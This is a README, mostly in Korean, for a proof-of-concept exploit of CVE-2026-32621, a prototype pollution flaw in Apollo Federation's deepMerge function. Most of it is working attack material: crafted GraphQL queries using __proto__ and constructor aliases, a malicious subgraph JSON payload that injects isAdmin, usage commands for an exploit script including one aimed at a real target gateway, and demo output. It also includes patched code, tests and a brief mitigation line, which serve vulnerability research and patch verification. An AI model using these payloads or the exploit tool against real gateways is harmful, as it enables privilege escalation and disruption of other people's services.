
CVE-2026-32621에 대한 PoC 익스플로잇으로, 조작된 GraphQL 별칭을 통해 Apollo Federation deepMerge 프로토타입 오염을 시연하며, 패치 버전 테스트를 포함합니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-32621 |
| CVSS | 9.9 치명적(Critical) |
| CWE | CWE-1321 (프로토타입 오염) |
| 영향받는 버전 | Apollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2 |
| 패치된 버전 | 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 |
| GHSA | GHSA-pfjj-6f4p-rvmh |
Apollo Federation의 deepMerge 함수(@apollo/query-planner 및 @apollo/gateway에서 쿼리 플랜 실행 중 서브그래프 응답을 병합하는 데 사용됨)는 target[key]에 접근하기 전에 키를 검증하지 않습니다.
소스 객체에 __proto__가 자체 속성으로 포함된 경우(JSON.parse가 이를 생성함) Object.keys()가 이를 반환하고, target["__proto__"]는 프로토타입 체인을 통해 Object.prototype으로 해석됩니다. 이후 병합 과정에서 속성이 Object.prototype에 직접 기록되며, 전체 Node.js 프로세스의 전역 프로토타입 체인이 오염됩니다.
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]); // target["__proto__"] = Object.prototype!
} else {
target[key] = source[key]; // Direct assignment to prototype
}
}
// PATCHED (post-patch)
for (const key of Object.keys(source)) {
defineOwn(target, key); // <-- Fix: shadows prototype property with own property
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]);
}
}
클라이언트가 __proto__, constructor, prototype이라는 이름의 필드 별칭이 포함된 GraphQL 쿼리를 전송합니다. 게이트웨이가 응답을 처리할 때 deepMerge가 이러한 별칭을 키로 사용하여 Object.prototype을 오염시킵니다.
query {
__proto__: products {
polluted: id
}
}
손상된 서브그래프가 __proto__ 키가 포함된 JSON을 반환합니다. 게이트웨이가 deepMerge로 응답을 병합하면 Object.prototype이 오염됩니다.
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}
query {
constructor: products {
prototype: id
}
}
isAdmin, role, permissions 속성 주입toString, valueOf를 null/손상된 함수로 재정의| 문서 | 내용 |
|----------|---------| | USAGE.md | 단계별 지침이 포함된 상세 사용 가이드 | | DIAGRAM.md | 구조 다이어그램 및 공격 흐름 시각화 |
| 파일 | 용도 |
|------|---------| |
exploit.js| 5가지 공격 벡터 + 로컬 데모를 포함한 주요 익스플로잇 | |test_exploit.js| 단위 테스트 (오염 및 패치를 검증하는 15개 테스트) | |e2e_test.js| 엔드투엔드 검증 (10개 테스트: 게이트웨이 + 익스플로잇 + 검증) | |setup_vulnerable.js| 테스트용 취약한 게이트웨이 시뮬레이터 |
# Run the local deepMerge vulnerability demonstration
node exploit.js
실행 중인 게이트웨이 없이도 취약한 코드 경로 그대로를 시연합니다.
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000
# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql
# Unit tests (15 tests)
node test_exploit.js
# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql
======================================================================
CVE-2026-32621 - Apollo Federation Prototype Pollution
CVSS 9.9 Critical | CWE-1321
Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================
======================================================================
Direct deepMerge Vulnerability Demonstration
(Reproduces the exact vulnerable code path)
======================================================================
[Test 1] __proto__ pollution via JSON.parse source
Source keys: __proto__
source.__proto__ is own property: true
VULNERABLE: Object.prototype.polluted_test1 = true
PATCHED: Object.prototype.polluted_test1 = undefined
[Test 2] constructor.prototype pollution
VULNERABLE: Object.prototype.polluted_test2 = true
PATCHED: Object.prototype.polluted_test2 = undefined
--------------------------------------------------
RESULTS SUMMARY
--------------------------------------------------
[VULNERABLE] __proto__ via JSON.parse
[SAFE] __proto__ via JSON.parse (patched)
[VULNERABLE] constructor.prototype
[SAFE] constructor.prototype (patched)
Client Apollo Gateway Subgraph
│ │ │
│ GraphQL query │ │
│ with __proto__ │ │
│ field alias │ │
│ ────────────────► │ Forward query │
│ │ ──────────────────────► │
│ │ │
│ │ JSON response with │
│ │ __proto__ as own prop │
│ │ ◄────────────────────── │
│ │ │
│ │ deepMerge() called │
│ │ target["__proto__"] │
│ │ → Object.prototype │
│ │ ⚠ POLLUTED! │
│ │ │
│ 200 OK │ │
│ polluted: true │ │
│ ◄──────────────── │ │
│ │ │
│ ALL subsequent requests inherit polluted │
│ properties (isAdmin, polluted, etc.) │
전체 아키텍처 다이어그램은 DIAGRAM.md를 참조하세요.
__proto__, constructor, prototype이 포함된 GraphQL 작업 차단MIT